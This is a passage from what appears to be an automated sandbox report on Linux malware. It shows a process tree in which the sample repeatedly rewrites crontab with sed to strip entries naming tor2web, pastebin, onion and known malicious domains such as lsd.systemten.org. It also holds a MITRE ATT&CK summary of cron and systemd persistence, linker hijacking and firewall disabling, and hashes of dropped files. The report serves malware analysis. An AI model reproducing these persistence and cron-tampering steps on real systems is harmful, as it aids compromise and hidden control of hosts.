/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:999
-
-
/usr/bin/crontabcrontab -l2⤵PID:1000
-
-
/bin/sedsed /logo/d2⤵PID:1001
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1002
-
-
/usr/bin/crontabcrontab -l2⤵PID:1003
-
-
/bin/sedsed /tor2web/d2⤵PID:1004
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1005
-
-
/usr/bin/crontabcrontab -l2⤵PID:1006
-
-
/bin/sedsed /jpg/d2⤵PID:1007
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1008
-
-
/bin/sedsed /png/d2⤵PID:1010
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1011
-
-
/usr/bin/crontabcrontab -l2⤵PID:1009
-
-
/usr/bin/crontabcrontab -l2⤵PID:1012
-
-
/bin/sedsed /tmp/d2⤵PID:1013
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1014
-
-
/usr/bin/crontabcrontab -l2⤵PID:1015
-
-
/bin/sedsed /zmreplchkr/d2⤵PID:1016
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1017
-
-
/usr/bin/crontabcrontab -l2⤵PID:1018
-
-
/bin/sedsed /aliyun.one/d2⤵PID:1019
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1020
-
-
/usr/bin/crontabcrontab -l2⤵PID:1021
-
-
/bin/sedsed /3.215.110.66.one/d2⤵PID:1022
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1023
-
-
/usr/bin/crontabcrontab -l2⤵PID:1024
-
-
/bin/sedsed /pastebin/d2⤵PID:1025
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1026
-
-
/usr/bin/crontabcrontab -l2⤵PID:1027
-
-
/bin/sedsed /onion/d2⤵PID:1028
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1029
-
-
/usr/bin/crontabcrontab -l2⤵PID:1030
-
-
/bin/sedsed /lsd.systemten.org/d2⤵PID:1031
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1032
-
-
/usr/bin/crontabcrontab -l2⤵PID:1033
-
-
/bin/sedsed /shuf/d2⤵PID:1034
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1035
-
-
/usr/bin/crontabcrontab -l2⤵PID:1036
-
-
/bin/sedsed /ash/d2⤵PID:1037
-
-
/usr/bin/crontabcrontab -2⤵PID:1038
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Impair Defenses
1Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
193B
MD5a3e1220eacdbd3fa5d0117efd5d4dd91
SHA1b66492d74a517bcd9d230b574b56411476124709
SHA25605d02411668f4ebd576a24ac61cc84e617bdb66aa819581daa670c65f1a876f0
SHA51278d27f45518a7fce636ef790ee215b1f47b2939e02cf6c5118897a703cc15ed4c283838d30a275e309304415d2a58e2e4a07d99127ec9ff32221d94e6547ca1f
-
Filesize
175B
MD5628f1b3e0025fc921cf4fc4d152e51b9
SHA1d5f115210371c3e375a8d48e3bfd5863ac4fabf2
SHA256c14729bfc21551f831413463eb30029558cab21cdf2e6169773e8c2b54717109
SHA51239129ba2a63cd57573d9a9238d814ccde2fa15e350e02944ba41ec4861c3f6078e49ac68b106cf51f4b3abbd726832c8a9b86d4129cefa6591393dacb993e219
-
Filesize
175B
MD525b6d996d2a33aeb527b5668b2ebb163
SHA1fbdd38d00f0702c647d82b3b9c653dd9245ffc84
SHA256fe7ea2e6dd807d556b46ecade87caff82e9b5f740b31227ea4d319ad3e31f4a6
SHA5125a1eeae9cadeb97897c3b2d0fff87f14bfa420a14f7166861beffbf8257ffa2a19d193e553cad9ee450e189541081eb759f1833494655d68c49e5d36b315a20b
-
Filesize
175B
MD5d53b46d314d2d11a0063edbd7d3cadd6
SHA1f493ae9e32e66b1f3712a4e603945bb52e06c752
SHA2568dd6c66f9141a91439e983f074049bef15ad45fcd45ccd1f6d72a4658258502b
SHA512344b391f9e595facfeaf1e7d9b2b729865fa6975b92e474f9c2345c0ac93e4456534967ad41c5204fec6dfa22112ac0bc9d6817439ca350f0830f49e45f71bbb
-
Filesize
175B
MD5217d37180d562e99f2d3c6f35bcfa407
SHA1bed434597a1670f115c13c92251e7ea5db68d82b
SHA256fc63f3b0534daee47645118bc54c0e2e0ca8eada5cd32f9728e48a42b2de61de
SHA512f8376956956b3361a4483a26cced90bf273f2d02a219380165cb45de644cd6859230db6fbeede64589fffaf2a8ba49d76770658860c6586c5bcffbfd676eac23
-
Filesize
175B
MD59c23441332a9c264791070b7702a9f66
SHA1a4a528eb3252cb02b42f8cb480fac7c379442658
SHA2564100141eac32b9325b853683618c458a2cf51b58e84296330f5c8d70b0cc6a35
SHA512a939556474a94a15efeca8275aed65f08859870f4af86bf21c744c4c917ab2032d4dbd5bfa69fdb4680681cac03aee3d6fe346a523ed85c682604989fcdefe4c
-
Filesize
175B
MD58f4a0b6a985017b63a77455752e17854
SHA1be193b7df7d2253aaaa3cbf0334ef1ecdc5afe7e
SHA256049d886fc4035ac1344f0bad628efaedb3bff2dd7ddc100450a0103569829ce9
SHA512bd9624b246f2cc8983ca00a436653053e7859e7b87e51e651623ae7d3a8e7f3eb83ae96786bdc9e0d6f488fadca047518cea264580c11f01da06f87ccbc7713c
-
Filesize
175B
MD5f4162a26283cca8f807eac824c50035e
SHA1802cacfe39fec626c89d1174362672223b518153
SHA256558281c60c709ec701d35b71f048c3ec745d2e2cfb9e1d933bed09cd94b604f7
SHA512b9375525459f9f14ce91ff04e2afb47b2d6b494bb53246eb2166bd49f32a4ffa352ec6387708b271a587c715c5db23b7209bdb72fa8e67f18a071cc8c93e5def
-
Filesize
175B
MD5145f992f652d4eea1ff631c0608755ce
SHA11b306c3671107d82d45e9d6fe733ec952e450674
SHA256266d9ca5b40aa0024fa61ccec002aeb8604748f059d51c3e4af86b80c3438159
SHA512e8d3731f4203aa844afbe7bfb6478397653c74aa37707f6b203e35781f76f194937d3dd4f3cb307c5e7dd51341777c2caed1e726a80ebb0ff87f9010d96c3d44
-
Filesize
175B
MD56c97a8a92a8758654846777588c54e16
SHA11399145792afd8da900857e002c420b43c41d902
SHA2565f6a66b06fce1b019a1488049bf2b6a7001c27c10c16072568d45b717e7d8358
SHA5127150e5f53a73ec36d9cfac348052449bb12cb62e9fff86d586a6ad422de464fbe48c16ca127754e9fcb9240c302ef08f9258ab97676f028f85703852151549d5
-
Filesize
175B
MD53c21d02daabad7a02434c88670d46335
SHA120034769417232f1a3fffc7634b964706197f6f6
SHA2567f3425d5d1cf60b2a3c1d7256289509291010438512a1423615e51a242541d0f
SHA512a65667b614b008ae1c3331ffc76b586511fc349b9fa47a4e5f101a4b6ff6a5350f7a5c55790f010f487e17e708b4fdb670cb800c67524e9ad957c64dbb877f53
-
Filesize
175B
MD595dd962affac03067f8b5bab42c6851c
SHA1fceb4c9cf6e8291ac39595ae99d56b0394322949
SHA256c4a11b59516a24cb84df203d43087c0f8af0bbe0b2db1ac3bcd0a7cdab776ddc
SHA512e1f16f85adb610fbf2402a2a1a6721c0c9b63ba44d33ac9577d155ea19cac94fc801670a7ab83e2512df5ac9efa6d64ac7281ce6585cc610976d5ef266c9f90d